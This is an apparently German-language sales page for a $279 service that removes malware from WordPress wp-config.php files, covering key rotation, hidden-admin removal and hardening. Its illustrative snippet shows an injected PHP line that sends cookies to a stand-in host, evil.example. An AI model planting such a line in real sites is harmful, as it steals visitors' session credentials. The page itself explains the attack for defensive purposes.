wp-config.php malware cleanup.

§ 01 — MECHANISMUS

wp-config.php ist der schlechteste Ort für Angreifer-Code.

wp-config.php wird bei jeder WordPress-Anfrage geladen, bevor WordPress selbst filtern kann. Wer diese Datei verändert, kann auf jeder Seite Code ausführen, jede Anmeldung mitschneiden oder versteckte Admins anlegen, die im Dashboard nicht erscheinen.

Sobald wp-config.php angefasst wurde, gelten Ihre Salts, das Datenbank-Passwort und die Authentifizierungsschlüssel als kompromittiert. Wir rotieren alles im Rahmen der Bereinigung — kein Upselling.

01 02 // Legitimate wp-config starts with constants.
03 define('DB_NAME', 'wp_database');
04
05 // Injected — sends auth cookies to attacker on every request:
06 @file_get_contents("http://evil.example/c?d=" . $_COOKIE);

§ 02 — WAS WIR ENTFERNEN

Jede Zeile, jeder Schlüssel, jedes Konto.

• [ PLUGIN-TRIAGE ]

  wp-config.php Zeile für Zeile mit einem sauberen Basiszustand verglichen. Jede nicht standardmäßige Zeile wird geprüft.

• [ WP-CONFIG ]

  Eingeschleuster Code entfernt. Verirrte include/require-Zeilen, die auf unbekannte Dateien zeigen — geprüft und entfernt.

• [ SCHLÜSSEL ]

  AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY, NONCE_KEY und ihre Salts rotiert. Alle Sessions ungültig gemacht.

• [ DATENBANK ]

  Versteckte Admin-Nutzer entfernt. Autoloaded wp_options-Payloads auf zugehörige Persistenz geprüft.

• [ ABSICHERUNG ]

  Berechtigungen für wp-config.php verschärft. .htaccess- und Nginx-Regeln ergänzt, um direkten Zugriff zu verweigern.

• [ BERICHT ]

  Forensischer Bericht in verständlicher Sprache: worauf der Angreifer Zugriff hatte, was rotiert wurde, was Sie noch tun müssen.

§ PREISE

Pauschal $279. Einmalig. Pro Seite.